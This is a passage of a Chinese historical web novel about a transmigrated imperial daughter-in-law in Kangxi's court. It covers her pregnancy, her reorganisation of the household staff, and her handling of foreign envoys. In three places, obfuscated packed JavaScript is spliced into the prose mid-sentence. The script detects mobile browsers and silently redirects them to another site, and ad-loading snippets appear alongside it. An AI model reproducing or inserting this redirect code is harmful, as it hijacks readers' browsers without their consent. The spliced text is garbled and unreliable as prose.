胤褆看了一眼康熙手里面的干面饼,咽了咽口水,声音比之刚才小了不是一星半点。 “回皇阿玛,也是干粮。” 一连两个干粮说出来,康熙直接冷了脸,“怎么,是觉得朕很好糊弄?” “不是,我这真是干粮……”话说了一半,胤褆顿了顿才接着道:“自制的。” “行,福全啊,这军里面发的就给你了,胤褆,朕也要自制的干粮,懂朕意思?” “……懂了。”还好福晋准备的多,要不然指定撑不了多久。 一刻钟后,胤褆和康熙手里面各捧着一碗泡面,快乐的吃着,福全则是捧着自己的面饼和康熙扔过来的面饼一脸牙疼的吃着。 也不是说干面饼不好吃,白面做出来的,又加了调料调味,再怎么样味道都不会差到哪去。 但是万事嘛,都怕对比,身边有人快乐的嗦面,再吃干面饼,无疑不是一场折磨。 紫禁城内,因康熙失踪而封锁了一天的各宫,在收到军中传来的消息外加找到康熙留下的书信,由胤礽接管了大局后,总算是被解了禁,惠妃拉着还没有离开的舒禾一脸的后怕。 还好还好,只是溜出去亲征了,皇上这要是没了,她就成太妃了,成太妃,就不能做一宫之主,要和一大群人蜗居在一起,想想都受不了。 还好还好,皇上没事,转念一想,皇上是没事了,但是胤褆可能有事了。 据传回来的消息,皇上可是和和硕亲王在一块,不巧,胤褆也在。 浑然不知惠妃正在担心胤褆的舒禾,握着惠妃的手晃了晃,见惠妃将目光移过来后,提出了告辞。 “额娘,时候不早了,我这就带着人回去了。” “也好,路上小心着些,翠蕊,着两个宫女提灯送送大福晋。” “是。” 灯笼所能照亮的地方有限,所以几人的速度并不快,走进南三所,恰好和刚从佟贵妃那回来的胤 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13743721|145100||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 禛撞了个正着。 两人相对行礼,“见过四阿哥。” “见过大嫂,大嫂安。” 两人本无过多的交集,行完礼也就离开了,只是错过身而过时,舒禾意外的发现,胤禛的眼眶是红的,一看就是刚哭过的模样。 因过于震惊,舒禾抬脚的动作都顿了顿。 “福晋?” 听到秋雨担心的声音,舒禾摇了摇头,“没什么,继续走。” 直到回到南三所,收拾妥当,只着一件寝衣躺在床上,室内只余宝石和她在,舒禾开口问了一个问题。 “德妃,历史上记载的和胤禛关系如何?” 【唔,不怎么好,但也没有虐待,只能说是无视吧。】 毕竟再怎么也是一个皇阿哥,只要德妃还想坐稳她的妃位,就不会对胤禛怎么样。 “那他什么时候娶的福晋?”舒禾依稀记得,胤禛娶福晋好像比太子和三阿哥都要早,不过,为什么会比他们两个早呢? 【康熙三十一年,还有两年,福晋是费扬古之女,佟贵妃在的时候就定下的亲事,只等费扬古之女到年龄就接进宫。】 “这样啊,那就难怪了。”难怪会比太子和三阿哥娶亲都早。 【舒禾,你问我这个,是准备拉拢胤禛?】 “拉拢?”舒禾重复了一遍这两个字,轻笑着摇了摇头,“用不着,如果我的目标是助胤褆登上皇位,那么我会选择拉拢他,但是我的目标是忽悠走胤褆和勾起其他皇阿哥对外的好奇心,不拘泥于这一亩三分地,,所以,也就谈不上拉拢不拉拢的了。” “至于为什么问这个,权当做是看到他哭了的好奇心吧。” 舒禾搭在小腹上的手轻轻抚着,眼里面满是不在意。 【还说呢,明明助胤褆登上皇位更简单,你偏想着带他离开,平白多干了不少事,也不知道你图什么!】 望着宝石气呼呼的小脸,舒禾出神的想道:图什么呢,可能图的是那将近百年的屈辱历史不再上演吧,也可能图的是一颗无关权谋算计的真心……呵,谁知道呢。 心思百转,转瞬即逝,舒禾回过神后,看着仍在生气的宝石,笑着凑过去摸了摸宝石的头发,哄道:“好宝石,不气了,明天咱们两个一起玩牌九?” 【才不要,那一张牌都快赶我大腿高了,跟你玩那个,我是闲的没事干吗?】 “那我去内务府给你订一套新家具如何?” 【嗯……要紫油梨木的!】 “可以。” 【既然如此,那我就不生气了。】 “那、免费给我重新制定一下五年计划如何?” 【你你你,占便宜无耻!不理你了,我走了!】 “哎,别走啊——宝石,别走啊——” 舒禾故意出声挽留,然后看着宝石骤然加速的身影,蓦然爆笑出声。 到最后,笑得眼泪都出来了才止住笑意,果然啊,不开心什么的,逗一逗可爱的小家伙就开心了。 而且今天这么一逗,她也看出来了,上次沉睡过后,宝石性格真的变了不少。 若是换成以往,宝石只会顶着宝石匣子的外科严肃说教,哪像现在,那小脸,肉嘟嘟的,生气也没有气势。 18.孕事 抬手抹去眼角的泪水,垂眸扫了一眼尚还平坦的小腹,嘴角的笑意不由得深了几许。 一夜无梦,第二天,舒禾如昨天一样带着两个人去了延禧宫,和惠妃交流了一上午京城时兴的秀样。 舒禾估摸了一下时间,觉得差不多了,放下手中的秀样,对着惠妃憨笑道:“额娘,儿媳有些饿了,能在您宫里面用顿午膳吗?” 说话时,舒禾特意在午膳上加重了语气,表明自己想吃的并不是那些干巴巴的糕点,而是热乎乎的饭菜。 而惠妃则是愣了一下才笑着回道:“自然是可以的,翠宛,去御膳房报菜,报完后就等在那,做好就立马提出来,可不能饿着咱们大福晋喽。” “额娘~您就别打趣我了。” “哟,这还害羞了,行了,我让翠蕊带你去胤褆之前住的地方休息一会,等膳食来了再着人去叫你。” 闻言,舒禾对着惠妃甜甜一笑,“那儿媳就先下去了。” “嗯,去吧。” 舒禾一路被带着来到偏殿,进了一间充满孩童意趣的房间,透过这些痕迹,好像还能看到曾经在活动的身影。 扫视房间时,舒禾在角落突然发现了一只马球,发现马球的原因很简单,它和这间房内的其他东西,完全像是两个次元。 其他的孩童玩具都很旧,充满使用痕迹,而这只马球,却很新。 一个满是旧物的房间出现这种情况,一般分为两种情况,一是这只马球入门时间很晚,小时候的胤褆来不及玩,二是这只马球上有不为人知的故事,让它的主人舍不得玩。 舒禾走到角落捡起地上的马球,放在手中端详片刻,又将马球放了回去。 有没有故事的和她关系不大,她只是在这休息一会。 这一休息就是半个时辰,跟着前来叫人的翠宛走到偏厅,只见偏厅内不小的圆桌上摆的满满当当。 兴许是不知道她喜欢吃什么口味,桌上各个口味的饭菜都有。 舒禾瞟见饭桌中央的那条鱼,眼神闪了闪。 按照规矩,她身后儿媳是需要给惠妃布膳的,但是她刚拿起筷子,就见惠妃摆了摆手,示意她坐到一边去。 “额娘?” “你也是别人家娇养长大的女儿,没道理到了宫里就要干这些伺候人的活计。” 惠妃嘴上这么说,心里面却道:这让儿媳布膳本就是磋磨人的,让胤褆那个混小子知道了,还不得跟我闹翻天啊! 舒禾听到惠妃的话愣了愣,没想到惠妃的思想这么先进,要知道就算是在现代,也有不少婆婆磋磨儿媳的。 不过要说多感动,那是没有的,她们两个现在之所以能这样相处,都是看在胤褆的面子上。 换言之,惠妃如此对她,一大部分因她胤褆福晋的身份。 即使有一小部分因她本人,那一小部分也是随时可以抛弃的。 想到这里,舒禾不由得感慨,血脉亲缘,当真是一把利器,居然能够让两个本来素不相识的人和谐相处。 心思百转,并不耽误舒禾明面上演戏,低头露出一抹温婉的笑,软声道:“谢额娘体恤。” “道谢什么的就免了,来,尝尝这道酥骨鱼,我平常啊,最喜欢的就是这道菜。” 惠妃扫了一眼桌上的饭菜,指了一道自己最喜欢的出来,布膳的宫女听到了,用公筷夹了一筷子到舒禾的碗中。 “儿媳素日里面也喜欢吃鱼,今日得了额娘推荐,可真是要好好尝尝这道菜了。” 说完,舒禾立马低头,唯恐迟一秒脸上的笑意就遮不住了,她刚还在想要怎么不着痕迹的演出孕吐,惠妃就给她送了块踏板过来。 捻著夹起碗里面的酥鱼送到嘴边,脑海里面还在构思怎么演,身体却已经下意识做出了反应。 “呕……呃……” 这一突发状况,不仅把正在吃饭的惠妃弄懵了,就连准备好演戏的舒禾都懵了一瞬。 不是,她都还没有发力,这表演就结束了?难不成她还有未发掘的演戏天赋? 不一会舒禾就明白了,她是丁点天赋没有,全靠真实,因为她是真的开始孕吐了! 桌上的饭菜已经撤了下去,但是空气里面还残留着饭菜的香气,这股香气落到其他人鼻子里面,只会诱发食欲,落到舒禾鼻子里面,只诱发了呕吐的欲望。 一行人紧急换到正殿,舒禾坐在雕花椅子上,面色苍白的捧着一个痰盂,时不时干呕一声。 惠妃则是焦急的在殿中走来走去,依她生胤褆的经验来看,舒禾这样,十有八九是有了。 但没有太医诊断,到底心里面凸起来一块,让人担心希望落空。 “翠蕊!去看看太医怎么还没来!” “是!奴婢……” “娘娘、娘娘……呼,太医来了。” 惠妃看了一眼被拉过来的老头,对着他点了点头,“李太医,麻烦你了。” “麻烦不敢当,治病救人,本就是微臣的份内职责,只是不知道,需要治病的是?” 李维看了一眼虽然面色焦急,但仍掩不住好气色的惠妃,第一时间就将她排除在外。 还不等他继续扫视,惠妃就错开一步让出了位置,露出了被挡住的舒禾。 见舒禾面色苍白,还捧着痰盂,李维就知道她是自己此行的病人了。 麻利地走到舒禾身边跪下,从医箱里面掏出手托放到桌上,对着舒禾比了个请的手势,示意她将手放上去。 舒禾依言照做后,李维又拿出一条丝绢放到她手腕上,方才探手去把脉。 脉相普一入手,李维眉毛就压了下去,嘶,这脉相,跳如滚珠……怎么那么像滑脉呢? 啧,有点不确定,再把把试试。 看着李维的动作,即使早就让秋霞把过脉,知道她是什么情况的舒禾都有些心慌了,更别说惠妃了。 两个主子心慌,其他人也不自觉的露出了焦急的神色。 要说在场谁最冷静,还要数秋霞,一是她早就把出来她家福晋是滑脉,二是舒禾的身体自小就是她调理的,有什么她都是第一时间知道的,她万分确定她家福晋身体没有一点问题。 综上所述,看到来回换手把脉,还一副不确定什么情况的李维,秋霞眼里面控制不住的露出一抹鄙夷之色。 就这能力,还太医,连她都不如。 一刻钟后,李维含 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13750570|145100||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 笑收回手,起身对着惠妃和舒禾道喜道:“恭喜娘娘、恭喜大福晋,大福晋这是有孕了,有孕时间不足一月,怀像到底如何还看不出来,待满三个月再行把脉,便能确定怀像到底如何了。” 可以这么说,李维说了一大堆,惠妃只听到了前面几句。 就这,惠妃还一些不敢相信自己的耳朵,扭头看向翠蕊确认道:“翠蕊,有……有孕了?” 翠蕊伸手扶住惠妃,重重地点了点头,“娘娘您没听错,大福晋有孕了!” 听到翠蕊确认了一遍后,惠妃离家出走的三魂七魄一下子就飞了回来,看了一眼垂眸不知道想些什么的舒禾,只以为她是初次有孕,震惊到了。 儿媳不靠谱,她这个当额娘的肯定要挡上去,惠妃走到等着领赏的李维面前,对翠水勾了勾手指。 翠水会意,赶忙掏出一个荷包放到李维手中。 “微臣谢娘娘……” “李太医不急着谢,既然来了,也别急着走,翠宛,备齐笔墨纸砚,请李太医上座。” 看到这架势,李维面容僵硬的问道:“您这是?” “孕期需要注意的各种事项,写下来,再得一份赏。” 言外还有一层意思,那就是,不写就不能走。 成功意会到另一层意思的李维苦笑一声,将荷包放到医箱中,拎着医箱跟着翠宛走了。 翠宛离开后,惠妃走到舒禾面前,用手摸了摸舒禾的头,夸赞道:“好孩子,额娘就知道你是个好的。” 各方各面都好,而自己能够挑中她,自己也好。 舒禾并不知道惠妃在心里面自卖自夸,听闻惠妃说她是个好的,只是羞涩的笑笑,不说话,擎等着惠妃给她安排接下来的事。 又一次待到晚上才回去的舒禾,待遇和昨天相比,提升了不是一星半点。 昨天拢共就两个提灯的,赏赐什么的半点没有,而今天光是提灯就有四个,更别提身后六个还捧着各种赏赐的延禧宫宫人了。 想到离开时,惠妃握着她的手千叮咛万嘱咐,在这胎满三个月之前,千万不要再去延禧宫请安了,缺什么着宫人去通知她一声就好的样子,舒禾就想笑。 该说什么呢,真不愧是隔代亲啊,亲到她这个额娘都可以享受便利了。 回南三所的路上,出乎舒禾意料的是,居然又碰到了胤禛。 互相见礼时,舒禾下意识看了一眼胤禛的眼眶,没红,看来今天是没受委屈。 胤禛注意到舒禾看向什么地方后,行礼的动作一顿,‘原来昨天她看到了’的想法在脑海中一闪而逝。 意识到这一点后,胤禛窘迫是提出告辞,“大嫂,如果无事,我就告退了。” “行,四弟路上注意安全。” 看着胤禛仓惶离开的背影,舒禾没忍住弯了弯唇,甭管以后怎么样,这样的胤禛还挺可爱的。 南三所舒禾卧房内,此刻满满当当的装了九个人,舒禾坐在软榻上,看着底下自己从尚书府带来的八个人,想到她们每人所擅长的东西,眼里面闪过一抹精光。 胤褆离开的这段时间,她不把整个院子彻底控制在她手底下,她就不叫伊尔根觉罗. 舒禾! 19.干活 根据宝石提供的消息,胤褆回来大概需要三个月,而她的机会,就是这三个月。 思及此,舒禾决定不再拖沓,直接开始点名,“秋雨,正院内的事务从今天开始,我全权交给你,务必在一个月之内,将其整改为与府里面一样的制度。” 舒禾说的制度,是指三班倒、工作时间去向统统登记,出行需三三成群,擅离职守者,同行人检举可得奖赏。 而这些,恰是秋雨之前就负责的地方。 “是,福晋,只是奴婢一人难免不好行事,是以,想问您讨两个小太监压阵。” “可以,你自去挑选就是,”说完,见秋雨退到一边了,舒禾接着点了秋霞的名字,“秋霞,半个月时间,给院里面所有人进行医案建立。” “是。” “秋水,那些我已经盘过一遍的账本,你再去盘一遍,查漏补缺的同时,掌握院里面的财务信息。” “是。” “冬藏,你擅和人打交道,从明天开始,不用再拘泥于正院中,尽管发挥自己的特长,需要金银开路的地方,报给秋水,从她那支银子。” “是。” “秋风、冬雪,你二人合力检查一遍库里面存放的陈年旧物,如有不对劲之处,勿张扬,找秋霞,让她再检查一遍。” “是。” 一下子点了六个人的名字,舒禾难免有些口干舌燥,端起桌上的茶盏喝了一口里面的温开水,睨了一眼还剩下的两个人,到底是没有再安排任务。 她现在怀孕了,身边多少要留个信任的人,若是都支出去了,她因一时疏忽导致自身出了什么事,反而不好。 放下手中的茶盏,对着聚在房间里面的众人摆摆手,“布置了任务的记得完成任务,没有布置任务的,继续跟在我身边。 现在,其他人退出去,秋雨留下。” 被留下的秋雨三两步走到舒禾身边,抬手轻轻揉着舒禾的头,一边揉一边说着刚才因人多不方便说的话。 “福晋,院里面的都是宫女和太监,是在内务府那边登记过的,咱们大刀阔斧的改革,他们若是心生不满,闹到内务府那边怎么办?” 额头上按揉的力道着实舒服,舒禾享受的闭上眼睛,听闻秋雨的话,淡淡道:“那就让他们去闹,他们闹起来才是正中我的下怀,我看院中各方的人已经看够了,懂我的意思了吗?” “奴婢懂了,只是……” “秋雨,不要忘了,惠妃恰好掌着的就是这一部分宫权。” 而惠妃看在她肚子里面孩子的份上,是无论如何都会护着她的。 她能够张扬的时间不多,初怀孕,还能说是第一次怀孕疑神疑鬼,害怕被害,所以想整理一下院中,以后可就没有这么好的机会了。 余光瞥到花瓶上坐着疯狂使眼色的宝石,舒禾无语中掺杂了一丝好笑,拂下秋雨的手,佯装不耐道:“行了,不用按了,你退下吧。” “是。” 秋雨离开后,宝石飞到舒禾面前,双手环胸,对于她的安排点评道: 【操之过急,易出祸患。】 “你又怎知我不是引蛇出洞?” 【你说的蛇,是那些忠诚度不足百分之十,随时会叛变的那几个?】 听到宝石说那几个,舒禾不赞同的摇了摇头,“那可不是几个,不算我带来的秋雨她们几个,胤褆这算上洒扫的太监宫女一共就五十八个人。 那些忠诚度不足百分之十的却有三十个,而这些太监和宫女,多半隶属于哪个宫妃。 虽然目前他们不会干什么,但是难保以后,若是我十年都没有完成带胤褆离开的目标,外出建府后,这些人还要跟着出去。 天天面对着这些身在曹营心在汉的人,这和每天生活在贼窝里面有什么区别?” 【我可以帮你监视他们。】 舒禾收起双脚放到软榻上,两手托腮,又是一摇头,“监视他们用你实在是太大材小用了,我需要你帮我去做另外一件事。” 【什么?】 “你去宫外,帮我……” 看着眼里面满是锐气,语气间满是运筹帷幄,首次在他面前展露锋芒的舒禾。 宝石心里面说不清是欣慰多些还是心酸多些,亦或者二者兼有之。 “还有……” 见舒禾一说起来就没个了结,宝石不得不打断道,【我会去的,但是现在,你该睡觉了,晚睡对身体不好。】 “噗嗤,好了好了,就依你说的,睡觉,别再皱着个眉头了,跟个小老头一样。” 闻言,宝石抬手摸了摸额头,【我刚才皱眉了?】 “昂,皱的老紧了。” 【那我下次注意。】 舒禾一时间没反应过来他要注意什么,片刻后才反应过来是下次说她时不皱眉,不给她打趣的机会。 刚想说些什么,一个哈欠就猝不及防的从她口中打了出来,舒禾脸色微僵,佯装没趣,嘴硬道:“不跟你说了,没意思,睡觉睡觉。” 【……小孩子脾气。】 哼哼,再小孩子脾气又怎么样,还不是你惯的! 仿佛听到了舒禾的腹诽一般,宝石同样在心里面腹诽道:还是个嘴上不吃亏的。 但是他能怎么办呢,自家宠出来的孩子,忍着呗。 层层叠叠的纱幔遮住了床上人坐着的身影,直到床上人躺下,再不见半点身影后,宝石慢悠悠的落到软榻上躺下,准备在胤褆回来之前都这样陪着舒禾,这样夜晚有什么,他也好第一时间反应。 次日,一封家书从皇宫里面传出,被人带着朝离开的军队直追而去。 快马加鞭,不过半日就追上了离开不久的军队。 信送到之时,恰逢军中放饭之时,彼时,胤褆正憋屈的捧着一张干面饼看康熙吃舒禾给他准备的干粮。 梁九功捧着皇宫里面的信小心翼翼地走到康熙身边,“皇上,皇宫里面来信了。” “嗯?”康熙疑惑地接过梁九功递过来的信,心里面还在纳闷,难不成他就离开一天,宫里面就出了岔子? 那他的保成…… 还没想完,就看见了信封上的胤褆亲启四个字,这一刹间,再多的猜想都统统作废,没好气的瞪了一眼连话都传不清楚的梁九功,随手将信扔给了对面的胤褆。 胤褆手忙脚乱地接住扔过来的信,不可置信的看着康熙,“给……给我的?” 被康熙用看傻子一样的眼神看了一眼后,胤褆也反应过来自己问了多傻一句话,不好意思的摸了摸鼻尖,放下手中的干粮,擦干净手,小心翼翼的拆开了信封。 一目十行快速看完信上的内容,胤褆直接傻了,“皇……皇阿玛,这、这……” “到底怎么了?一个大男人这副样子,像样嘛!” “不是,儿臣……儿臣要当阿玛了,皇阿玛,儿臣要当阿玛了!” “朕知道了,说一遍就行了,等等!”康熙反应过来后,勒令胤褆再说一遍,“你刚才说了什么,再一遍!” 胤褆一副乐傻了的模样,根本就没有说话,久等不到胤褆重复,康熙直接上手抢了信纸。 “哎!皇阿玛!那是儿臣福晋写给儿臣的信!” 康熙看完后,确定自己要当玛法后,就将信纸扔了回去,鄙夷的看了一眼捧着信纸当宝贝的胤褆,“朕还能贪墨你一张信纸不成?” 更别说还是一张用过的。 来自皇阿玛的鄙视,无法反驳,胤褆选择忍,捧着信纸就去了其他地方。 皇宫内,此时的舒禾刚喝完来自婆婆的爱心牌燕窝,并不知道一封信弄得父子两个还起了小波澜。 拿起一边的手帕擦了擦唇,继续翻看桌上的账本,看完手头上的一本,刚准备歇息一会,就听窗台那边传来了几声鸟叫,佯装不经意的往窗边一撇,果然看到了一抹熟悉的小身影。 素手端起桌上的茶杯抿了一口,旋即拧起眉头,“秋雨。” “福晋,可要去将秋雨姐姐找来?” 冬至一出声,舒禾才恍然记起秋雨已经被她派去干活了,现在身边留着的是冬至和冬枣。 抬手揉了揉眉心,“不用,茶凉了,你去换一壶来。” “是,那奴婢让冬枣进来陪您。” “不必。” 听闻舒禾说不必,冬至也没有再说什么,将茶壶放到托盘上,端着托盘就离开了。 冬至离开后,站在窗台上的宝石往前迈出一步,飞身落到砚台旁,一上午的劳动成果在他身边堆成了一座和他人一样高的小山。 宝石做出累瘫了的表 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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待到宝石整个人都上到了手心后,舒禾又将手平举往左肩一放,宝石配合默契的坐到了舒禾左肩。 就这样,两人收拾妥当,开门就走了出去,守在门口的冬枣一见舒禾,就赶忙迎了上去,扶住舒禾抬起的左手,一边走一边说起了细节部分。 “太子爷派来的人神色间很是匆忙,等在前院时并没有坐下等候,而是焦急的在院中走来走去。” “那就快走两步,别让他等久了。” 听闻舒禾要快走时,冬枣有些担心的看了一眼舒禾的肚子,迟疑道:“福晋,您的身体……” “我的身体没有任何问题,现在,加速。”她的身体她了解,莫说快走几步,就算是现在去跑个八百、四百都不成问题。 “那奴婢扶着您……” 江鸿,太子派来叫人的人,候在前院中,每隔一、两分钟就要往外张望一眼,那模样,他不累,看的李空都累了。 仗着两人熟识,不由得出声调侃道:“江鸿啊江鸿,知道的知道你是来叫找我们福晋的,不知道还以为你是来犁地的呢,你看看你脚下的地是不是都被你踩松了?” “哎呀我有急事,没时间和你在这抽奸打混,你要是闲着,就帮我去里面催催通传的人。” “催是不可能催的,我们福晋怀孕了,快不了。” “怀……怀孕?”江鸿停下动作,一脸呆滞的看着李空,“大福晋什么时候怀孕的?为什么我不知道?” “昨天刚查出来,还有,你为什么要知道,你又不是我们这的人。” 江鸿脸上焦急的神色蓦然一变,变得又颓又丧,“大福晋怀孕了,那太子爷交代的事,可不就不能干了嘛!” “太子爷交代了什么事让本福晋干,总得说一声本福晋才能知道干不干得了。” 突然插入的一道女声瞬间吸引了李空和江鸿的注意力,待听到那来人的自称,也是瞬间知道了来人的身份,跪下行礼道:“奴才参见大福晋,大福晋吉祥。” “起来吧,”冬枣代舒禾叫起后,指着江鸿道:“你说,要干什么事。” 被指到的江鸿一脸苦色,“不是奴才不想说,而是这事,不参与的人知道了不好。” 舒禾不欲为难江鸿,摆摆手止住冬枣欲出口的训斥,正色道:“你说了,本福晋自然就跟你一起去了。” 20.外国人——各国谋划 见状,江鸿咬了咬牙,想到自己就这么回去也落不到什么好,还不如直接与大福晋说了,带了人回去,再怎么也算是完成了一半任务。 而且太子爷只说不参与的人不能知道,参与的人可以知道,却没说是先知晓还是后知晓,他提前说了,好像也没有什么问题? 一番挣扎过后,江鸿开口了,“福州地区的官员截留了几艘外来船只,发现那些船只上是几船的外国人。 船上的外国人打着来大清交流的名头,想到当今皇上对外国知识的重视,地方官员不好直接处置,索性就派了兵明着护送暗中监视把他们都运来了京城。 但是他们来的时间不巧,现今皇上离宫亲征,事情就落到了太子头上。 来者中有女眷,太子爷现今并无娶妻,后宫的娘娘们也不适合在这种场合出席,放眼整个紫禁城,只有大福晋您是最合适的人选。” 舒禾面无表情的听完后,点了点头,“既如此,那就走吧。” “啊?” 看着江鸿呆呆的样子,李空瞅着他翻了个白眼,小声道:“啊什么啊,福晋都走了,还不赶紧追上去!” “哦哦,”江鸿应了一声后,忙抬脚朝着舒禾离开的方向追去,一边追一边喊:“大福晋,您慢着些,外边有候着的软轿,您坐那个过去就行!” 舒禾坐上软轿被抬着朝中和殿走去,垂眸看着沿途经过的绿瓦红墙,被睫毛遮住的眼里面满是算计。 刚才江鸿说的,有些对有些不对,其中最不对的就是那句时间不巧。 对她来说,这个时间可真是太巧妙了。 提前两年将人派出,费尽心机设计这出时,她想着的是康熙在,再怎么都轮不到她插手,效果可能不太好。 结果真真是连上天都在帮助她,居然在皇上御驾亲征的第二天到了,还碰巧赶上太子处理这事,需要她来帮忙。 这事如果她能横叉一手进去,说不定现下就能改变太子对外边诸国的印象,大大缩短她其他计划的时间。 行走的路上,舒禾不停在心里面勾勒着一会该怎么做,轿停,被扶着下轿时,舒禾险些回不过神。 随着江鸿找到太子后,两人互相见了个礼,也不多寒暄,直入话题道:“大嫂,如果有可能,孤也不想让你劳累,今天所为,实在是迫不得已,还请大嫂帮忙招待一下那边的女眷。” 舒禾摇了摇头,一派温婉道:“无事,能帮上忙,我心里面也是乐意的,敢问太子,那些女眷现下在何方?” “江福,带大福晋过去。” 看着舒禾离开的背影,想到那些彪悍到直往他身上扑的外国女人,胤礽不由得松了一口气,感慨道:“幸亏老大成亲了,要不然今天这场面,孤还真不知道如何是好。” “殿下,有件事,奴才不知道当不当讲。” 胤礽闭了闭眼又快速睁开,扭头看向一脸犹疑的江鸿,面无表情道:“你不知道当讲不当讲,就让孤帮你做选择题?” “不是不是!是奴才真的不知道……” “行了,讲!” “大福晋有孕了。” “什么!”胤礽惊讶的嗓子都喊破音了。 江鸿哆哆嗦嗦的又重复了一遍,“大福晋有……有孕了。” 胤礽……胤礽现在想杀人,他要是知道舒禾怀孕了,说什么都不会派人去叫舒禾,胤褆刚成亲一月,那么这孩子至多也就一月。 在后宫久了,前三个月胎不稳几乎是人人心里面都有数的事,平时碰见了,大老远的都要绕着走。 结果江鸿直接给他端回来一个怀孕不足三月的,还是老大的福晋! 操!这要是出点什么意外,他不得和老大结死仇,被老大生吞活剥了啊! 偏偏舒禾已经来了,叫人回来难免有看不起人的意思。 这一个月老大对这个福晋的宝贝程度,他也是看在眼里面的,要是现在叫舒禾回去,老大回来,还是事! 左右都是结仇,胤礽人都要麻了。 胤礽忍了又忍还是没忍住,一脚踹出,“狗奴才!想害孤早说!” “还愣着干什么!找八个宫女去跟着大福晋,全方位的保护好她!出了什么事,就都别活了!” “是……是,奴才这就去。” 江鸿去安排跟着舒禾的宫女后,胤礽绷着一张脸越想越气,并且真心觉得今天就是他的倒霉日。 而引起他倒霉的根本因素,就是殿里面那一群连汉话都不会说的外国人。 本着谁引起得气谁承担得原则,胤礽一理衣襟,去找外国人撒气……啊不,交流去了。 这边,舒禾刚和女眷中自己人对上视线,就见外边来了八个宫女,前后左右把她围了起来。 毫不夸张的说,那一瞬间,舒禾差点以为计划暴露,太子派人来抓她了。 直到领头的宫女俯身说明缘由,舒禾才明白这些是太子派来保护她的。 “太子爷有心了,回头我定上门道谢。” “福晋言重了,这次本就是太子爷请您来帮忙,怎能还让您上门道谢?” 舒禾和领头的宫女对视片刻,直到女眷里面有人不耐烦的说了一串英文,方才停止这场莫名其妙的对视。 不过方才那女人喊的英文,好像是little white face?小白脸?谁? 舒禾朝殿中的宫人招了招手,附耳问道:“刚才,都有谁在这殿中?” “太子爷、江公公……” 得,破案了,小白脸是太子,所以这才是太子找她过来招待这些女眷的真实原因吗? 舒禾端坐于首座,看着座下因得不到答案而逐渐暴躁的金发美人,幽幽的叹了一口气。 看上太子,这美人没什么指望了,要知道太子是绝对不会看上一个外国来的人的。 舒禾抬手一指根本不敢方才话的翻译官,扬声道:“告诉她,这里不是她能放肆的地方,若再说刚才那样的话,就将她压入大牢。” 翻译官闻言,诧异的抬头,大福晋是听懂了刚才的话才这样说的,还是瞎猫碰上死耗子? 迎面对上舒禾冷淡的目光,翻译官才想起自己还没有翻译刚才那一句话,连忙对着一群女眷将舒禾方才说的话翻译了一遍。 普一翻译完毕,女眷中就炸开了锅,其中那个金发美人怒气冲冲的从椅子上站起身,指着舒禾喊道:“你知道我是谁嘛!我可是英国亲王的……” 虽然说的话有点口音,但是这不是会说大清的语言嘛,刚才不说,是因为知道刚才那样的话说了,一定会得罪人吗? 不过指着她鼻子说话,这不是上赶着给她送处置她的借口嘛。 玩味的看了一眼怒气冲冲的美人,也不等她说完她的身份,沉声打断道:“我管你是谁!这里是大清,容不得你放肆!来人,把她给我压下去!” “你这个女人……唔——唔!” 扫了一眼被拖下去的金发美人,遗憾的想,还不知道这位金发美人的名字呢。 不过杀鸡儆猴这一招还真是百试不厌,扭头看向原来蠢蠢欲动现在彻底老实的众女眷。 含笑问了句:“谁还会说汉话,站出来。” “我会!” 舒禾低头和说话的人对视一眼,放在桌上的手指轻敲两下桌面,见说话之人轻微的点了下头,瞬间了然,自己人。 为了不暴露自己人,也为了更近一步的试探,舒禾佯装疑惑的问道:“你是?” “我是瓜哇国国王的女儿,玟星,你想知道什么我都可以告诉你,前提是,安全的放我离开。” 说完,温玟星觉得这样有点不符合自己被吓到的人设,又强撑着加了一句,“要不然我的父亲不会放过你们!” 瓜哇国,这个她亲口说出去的名字,听到这个,舒禾才算是完全确定这个就是自己人。 就是吧,这个自己人不知道是不是出去久了,这说话口音有点重啊。 略过口音不提,舒禾松乏了一下坐姿,不疾不徐的问道:“你们进入大清境内,是代表国家出使,还是另有目的?” 把一群外国人扔给索额图,自己一个人找过来的胤礽听到这个问题,不自觉顿住脚步,给了江鸿一个挥退宫人的眼神后,光明正大的趴在门上偷听起来。 本着胸大无脑的人设,温玟星大胆开麦,“当然是另有目的,一个大清,还不值得我们派那么多人出使!” 话音落地,殿内一片安静,趴在门口偷听的两人组齐齐黑了脸,江鸿脸色睨了一眼胤礽的脸色,建议道:“殿下,要冲进去把这个胡言乱语的女人拿下吗?” “且慢,那边的蓝毛、灰毛、金毛一句话不说,这边好不容易有人开了口,让大嫂再问问,说不定就问出来什么了。” 不过说话这个,他记下了,等问完了,他第一个要她好看!< (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' /p> 还大清不值得他们出使,他让她进牢里面看看值不值得! 此刻,殿内一片寂静,没一个人敢说话,有那想说话的外国人,也被宫人给堵着嘴拉到了角落。 